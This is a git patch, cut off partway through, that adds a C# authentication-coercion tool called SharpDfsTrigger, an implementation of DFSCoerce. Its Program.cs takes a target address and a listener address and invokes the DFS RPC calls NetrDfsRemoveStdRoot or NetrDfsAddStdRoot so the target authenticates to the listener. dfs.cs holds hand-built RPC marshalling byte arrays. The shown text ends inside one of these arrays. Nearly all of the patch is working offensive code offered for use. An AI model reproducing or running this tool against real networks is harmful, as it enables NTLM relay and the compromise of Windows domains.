From 2a0b4a00490bd2f5d031a0768cc0a7caa7139a50 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?atanur=20elmaso=C4=9Flu?= Date: Sun, 20 Aug 2023 01:41:57 +0300 Subject: [PATCH] DFSCoerce added --- SharpDfsTrigger/App.config | 6 + SharpDfsTrigger/Program.cs | 71 +++++++ SharpDfsTrigger/Properties/AssemblyInfo.cs | 36 ++++ SharpDfsTrigger/SharpDfsTrigger.csproj | 56 ++++++ SharpDfsTrigger/dfs.cs | 152 +++++++++++++++ SharpDfsTrigger/nativemethods.cs | 205 +++++++++++++++++++++ SharpDfsTrigger/rpcapi.cs | 127 +++++++++++++ SharpSystemTriggers.sln | 6 + 8 files changed, 659 insertions(+) create mode 100644 SharpDfsTrigger/App.config create mode 100644 SharpDfsTrigger/Program.cs create mode 100644 SharpDfsTrigger/Properties/AssemblyInfo.cs create mode 100644 SharpDfsTrigger/SharpDfsTrigger.csproj create mode 100644 SharpDfsTrigger/dfs.cs create mode 100644 SharpDfsTrigger/nativemethods.cs create mode 100644 SharpDfsTrigger/rpcapi.cs diff --git a/SharpDfsTrigger/App.config b/SharpDfsTrigger/App.config new file mode 100644 index 0000000..56efbc7 --- /dev/null +++ b/SharpDfsTrigger/App.config @@ -0,0 +1,6 @@ + + + + + + \ No newline at end of file diff --git a/SharpDfsTrigger/Program.cs b/SharpDfsTrigger/Program.cs new file mode 100644 index 0000000..fe05433 --- /dev/null +++ b/SharpDfsTrigger/Program.cs @@ -0,0 +1,71 @@ +using System; +using System.Collections.Generic; +using System.Linq; +using System.Text; +using System.Threading.Tasks; + +namespace SharpDfsTrigger +{ + internal class Program + { + private static void Main(string[] args) + { + string apicall = "NetrDfsRemoveStdRoot"; + int result; + if (args.Length < 2) + { + Console.WriteLine("usage: SharpDfsTriggeEfs.exe "); + Console.WriteLine("usage: SharpDfsTriggeEfs.exe 192.168.1.10 192.168.1.250"); + Console.WriteLine("usage: SharpDfsTriggeEfs.exe 192.168.1.10 192.168.1.250 NetrDfsRemoveStdRoot"); + Console.WriteLine(@"Available API calls: + NetrDfsRemoveStdRoot + NetrDfsAddStdRoot + "); + return; + } + if (args.Length >= 3) + { + apicall = args[2]; + } + if (IntPtr.Size == 8) + { + Console.WriteLine("NdrClientCall2x64"); + } + else + { + Console.WriteLine("CallNdrClientCall2x86"); + } + + var Dfs = new dfs(); + IntPtr hHandle = IntPtr.Zero; + + try + { + switch (apicall) + { + case "NetrDfsRemoveStdRoot": + apicall = "NetrDfsRemoveStdRoot"; + result = Dfs.NetrDfsRemoveStdRoot(args[0], args[1], "test", 1); + break; + case "NetrDfsAddStdRoot": + apicall = "NetrDfsAddStdRoot"; + result = Dfs.NetrDfsAddStdRoot(args[0], args[1], "test", "testcomment", 1); + break; + default: + apicall = "NetrDfsRemoveStdRoot"; + result = Dfs.NetrDfsRemoveStdRoot(args[0], args[1], "test", 1); + break; + + + } + } + + catch (Exception ex) + { + Console.WriteLine(ex); + return; + } + Console.WriteLine($"[*]{apicall}: 5"); + } + } +} diff --git a/SharpDfsTrigger/Properties/AssemblyInfo.cs b/SharpDfsTrigger/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..99aed6f --- /dev/null +++ b/SharpDfsTrigger/Properties/AssemblyInfo.cs @@ -0,0 +1,36 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("SharpDfsTrigger")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("SharpDfsTrigger")] +[assembly: AssemblyCopyright("Copyright © 2023")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("357b2ab9-d212-48c8-97c1-295226922033")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +// You can specify all the values or you can default the Build and Revision Numbers +// by using the '*' as shown below: +// [assembly: AssemblyVersion("1.0.*")] +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/SharpDfsTrigger/SharpDfsTrigger.csproj b/SharpDfsTrigger/SharpDfsTrigger.csproj new file mode 100644 index 0000000..504927e --- /dev/null +++ b/SharpDfsTrigger/SharpDfsTrigger.csproj @@ -0,0 +1,56 @@ + + + + + Debug + AnyCPU + {357B2AB9-D212-48C8-97C1-295226922033} + Exe + SharpDfsTrigger + SharpDfsTrigger + v4.7.2 + 512 + true + true + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + + + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/SharpDfsTrigger/dfs.cs b/SharpDfsTrigger/dfs.cs new file mode 100644 index 0000000..64f18b3 --- /dev/null +++ b/SharpDfsTrigger/dfs.cs @@ -0,0 +1,152 @@ +using System; +using System.Security.Permissions; +using static SharpDfsTrigger.NativeMethods; +using System.Runtime.InteropServices; + + +namespace SharpDfsTrigger +{ + public class dfs : dfsapi + { + private static byte[] MIDL_TypeFormatStringx86 = new byte[] { 0x00, 0x00, 0x11, 0x08, 0x25, 0x5c, 0x12, 0x08, 0x25, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x10, 0x00, 0x01, 0x00, 0x02, 0x00, 0x04, 0x00, 0x13, 0x30, 0x01, 0x00, 0x00, 0x00, 0x70, 0x00, 0x02, 0x00, 0x00, 0x00, 0x82, 0x00, 0x03, 0x00, 0x00, 0x00, 0xa0, 0x00, 0x04, 0x00, 0x00, 0x00, 0x14, 0x01, 0x05, 0x00, 0x00, 0x00, 0x7e, 0x01, 0x06, 0x00, 0x00, 0x00, 0xa4, 0x01, 0x07, 0x00, 0x00, 0x00, 0x2a, 0x02, 0x08, 0x00, 0x00, 0x00, 0x32, 0x02, 0x09, 0x00, 0x00, 0x00, 0x70, 0x02, 0x32, 0x00, 0x00, 0x00, 0xd6, 0x02, 0x64, 0x00, 0x00, 0x00, 0x34, 0x00, 0x65, 0x00, 0x00, 0x00, 0xd6, 0x02, 0x66, 0x00, 0x00, 0x00, 0xd0, 0x02, 0x67, 0x00, 0x00, 0x00, 0xd4, 0x02, 0x68, 0x00, 0x00, 0x00, 0xda, 0x02, 0x69, 0x00, 0x00, 0x00, 0xe2, 0x02, 0x6a, 0x00, 0x00, 0x00, 0xf8, 0x02, 0x6b, 0x00, 0x00, 0x00, 0x00, 0x03, 0x96, 0x00, 0x00, 0x00, 0x2e, 0x03, 0x00, 0x00, 0x12, 0x00, 0x02, 0x00, 0x16, 0x03, 0x04, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x16, 0x03, 0x10, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x4c, 0x00, 0x16, 0x03, 0x0c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x1b, 0x03, 0x0c, 0x00, 0x19, 0x00, 0x0c, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0xb9, 0xff, 0x5b, 0x16, 0x03, 0x14, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x20, 0xb4, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x3e, 0x00, 0x1d, 0x00, 0x08, 0x00, 0x01, 0x5b, 0x15, 0x03, 0x10, 0x00, 0x08, 0x06, 0x06, 0x4c, 0x00, 0xf1, 0xff, 0x5b, 0x1b, 0x03, 0x0c, 0x00, 0x19, 0x00, 0x20, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x0c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x4d, 0xff, 0x5b, 0x16, 0x03, 0x28, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x24, 0x00, 0x24, 0x00, 0x12, 0x20, 0xb4, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x9f, 0xff, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x16, 0x03, 0x2c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x75, 0xff, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x58, 0x00, 0x15, 0x03, 0x08, 0x00, 0x0e, 0x06, 0x06, 0x5b, 0x16, 0x03, 0x14, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xd8, 0xff, 0x5c, 0x5b, 0x1b, 0x03, 0x14, 0x00, 0x19, 0x00, 0x28, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x14, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0xb5, 0xff, 0x5b, 0x16, 0x03, 0x30, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x2c, 0x00, 0x2c, 0x00, 0x12, 0x20, 0xb4, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0xe9, 0xfe, 0x08, 0x08, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x10, 0x00, 0x4c, 0x00, 0xd8, 0xfe, 0x5c, 0x5b, 0x12, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x28, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x16, 0x03, 0x34, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x2c, 0x00, 0x2c, 0x00, 0x12, 0x20, 0xd2, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x99, 0xfe, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x2c, 0x00, 0x1b, 0x03, 0x14, 0x00, 0x19, 0x00, 0x30, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x14, 0x00, 0x00, 0x00, 0x02, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x08, 0x00, 0x08, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x03, 0xff, 0x5b, 0x16, 0x03, 0x38, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x2c, 0x00, 0x2c, 0x00, 0x12, 0x20, 0x70, 0xff, 0x46, 0x5c, 0x34, 0x00, 0x34, 0x00, 0x12, 0x20, 0xaa, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x4c, 0x00, 0x2d, 0xfe, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x07, 0x10, 0x00, 0x08, 0x08, 0x0b, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x04, 0x00, 0x08, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x08, 0x00, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x08, 0x00, 0x4c, 0x00, 0x8e, 0xfe, 0x5c, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x16, 0x03, 0x14, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x02, 0x00, 0x15, 0x03, 0x0c, 0x00, 0x08, 0x4c, 0x00, 0x63, 0xfe, 0x5b, 0x12, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x14, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x16, 0x03, 0x1c, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x46, 0x5c, 0x18, 0x00, 0x18, 0x00, 0x12, 0x20, 0xdc, 0xff, 0x5b, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x5c, 0x5b, 0x12, 0x00, 0x0e, 0x00, 0x1b, 0x00, 0x01, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x02, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xe6, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x11, 0x04, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x10, 0x00, 0x01, 0x00, 0x2e, 0xfc, 0x12, 0x00, 0xd4, 0x02, 0x2b, 0x09, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x02, 0x00, 0x04, 0x00, 0x0a, 0x30, 0x01, 0x00, 0x00, 0x00, 0x3a, 0x00, 0x02, 0x00, 0x00, 0x00, 0x6e, 0x00, 0x03, 0x00, 0x00, 0x00, 0xaa, 0x00, 0x04, 0x00, 0x00, 0x00, 0xee, 0x00, 0x05, 0x00, 0x00, 0x00, 0x32, 0x01, 0x06, 0x00, 0x00, 0x00, 0x6e, 0x01, 0x08, 0x00, 0x00, 0x00, 0xb2, 0x01, 0x09, 0x00, 0x00, 0x00, 0xf6, 0x01, 0xc8, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x2c, 0x01, 0x00, 0x00, 0x3c, 0x02, 0xff, 0xff, 0x12, 0x00, 0x24, 0x00, 0x1b, 0x03, 0x04, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x35, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xd0, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x2c, 0x00, 0x1b, 0x03, 0x10, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x10, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x0b, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xc8, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x34, 0x00, 0x1b, 0x03, 0x14, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x14, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x10, 0x00, 0x10, 0x00, 0x12, 0x20, 0x0a, 0xfc, 0x5b, 0x4c, 0x00, 0x2f, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xc0, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x34, 0x00, 0x1b, 0x03, 0x28, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x28, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x24, 0x00, 0x24, 0x00, 0x12, 0x20, 0x2c, 0xfc, 0x5b, 0x4c, 0x00, 0x51, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xc0, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x2c, 0x00, 0x1b, 0x03, 0x2c, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x2c, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0x43, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xc8, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x34, 0x00, 0x1b, 0x03, 0x30, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x30, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x2c, 0x00, 0x2c, 0x00, 0x12, 0x20, 0x56, 0xfc, 0x5b, 0x4c, 0x00, 0x7b, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xc0, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x34, 0x00, 0x1b, 0x03, 0x34, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x34, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x2c, 0x00, 0x2c, 0x00, 0x12, 0x20, 0x7a, 0xfc, 0x5b, 0x4c, 0x00, 0x81, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xc0, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x3c, 0x00, 0x1b, 0x03, 0x38, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x38, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x2c, 0x00, 0x2c, 0x00, 0x12, 0x20, 0x30, 0xfc, 0x34, 0x00, 0x34, 0x00, 0x12, 0x20, 0x6c, 0xfc, 0x5b, 0x4c, 0x00, 0x91, 0xfc, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xb8, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x12, 0x00, 0x38, 0x00, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x08, 0x5b, 0x1b, 0x03, 0x08, 0x00, 0x19, 0x00, 0x00, 0x00, 0x01, 0x00, 0x4b, 0x5c, 0x48, 0x49, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x4c, 0x00, 0xcd, 0xff, 0x5b, 0x16, 0x03, 0x08, 0x00, 0x4b, 0x5c, 0x46, 0x5c, 0x04, 0x00, 0x04, 0x00, 0x12, 0x20, 0xd0, 0xff, 0x5b, 0x08, 0x08, 0x5b, 0x1a, 0x03, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x4c, 0x00, 0x23, 0xfd, 0x5b, 0x12, 0x08, 0x08, 0x5c, 0x12, 0x14, 0x02, 0x00, 0x12, 0x00, 0x12, 0x00, 0x1b, 0x03, 0x04, 0x00, 0x09, 0x00, 0xfc, 0xff, 0x01, 0x00, 0x4c, 0x00, 0xac, 0xf9, 0x5c, 0x5b, 0x18, 0x03, 0x04, 0x00, 0xec, 0xff, 0x4b, 0x5c, 0x48, 0x49, 0x04, 0x00, 0x04, 0x00, 0x01, 0x00, 0x04, 0x00, 0x04, 0x00, 0x12, 0x08, 0x25, 0x5c, 0x5b, 0x08, 0x5c, 0x5b, 0x11, 0x14, 0xfc, 0xf8, 0x11, 0x08, 0x02, 0x5c, 0x11, 0x08, 0x08, 0x5c, 0x11, 0x00, 0x02, 0x00, 0x2b, 0x09, 0x29, 0x00, 0x14, 0x00, 0x01, 0x00, 0xf8, 0xf8, 0x11, 0x04, 0x02, 0x00, 0x15, 0x07, 0x20, 0x00, 0x08, 0x08, 0x0b, 0x08, 0x08, 0x0b, 0x5c, 0x5b }; + private static byte[] MIDL_ProcFormatStringx86 = new byte[] { 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x44, 0x01, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x00, 0x04, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x1c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x06, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x10, 0x00, 0x06, 0x00, 0x48, 0x00, 0x14, 0x00, 0x08, 0x00, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x03, 0x00, 0x1c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x06, 0x08, 0x05, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x0b, 0x01, 0x14, 0x00, 0x0e, 0x00, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x1c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x47, 0x06, 0x08, 0x03, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x00, 0x08, 0x00, 0x06, 0x00, 0x0b, 0x00, 0x0c, 0x00, 0x06, 0x00, 0x48, 0x00, 0x10, 0x00, 0x08, 0x00, 0x13, 0x21, 0x14, 0x00, 0xe2, 0x03, 0x70, 0x00, 0x18, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x05, 0x00, 0x18, 0x00, 0x32, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x24, 0x00, 0x47, 0x05, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x48, 0x00, 0x04, 0x00, 0x08, 0x00, 0x48, 0x00, 0x08, 0x00, 0x08, 0x00, 0x1b, 0x00, 0x0c, 0x00, 0xec, 0x03, 0x1a, 0x00, 0x10, 0x00, 0xd0, 0x06, 0x70, 0x00, 0x14, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x14, 0x00, 0x32, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x46, 0x04, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0b, 0x01, 0x04, 0x00, 0x04, 0x00, 0x0b, 0x01, 0x08, 0x00, 0x04, 0x00, 0x48, 0x00, 0x0c, 0x00, 0x08, 0x00, 0x70, 0x00, 0x10, 0x00, 0x08, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x07, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x04, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x08, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x2c, 0x00, 0x32, 0x00, 0x00, 0x00, 0x0d, 0x00, 0x08, 0x00, 0x47, 0x0a, 0x08, 0x07, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, 0x0b, 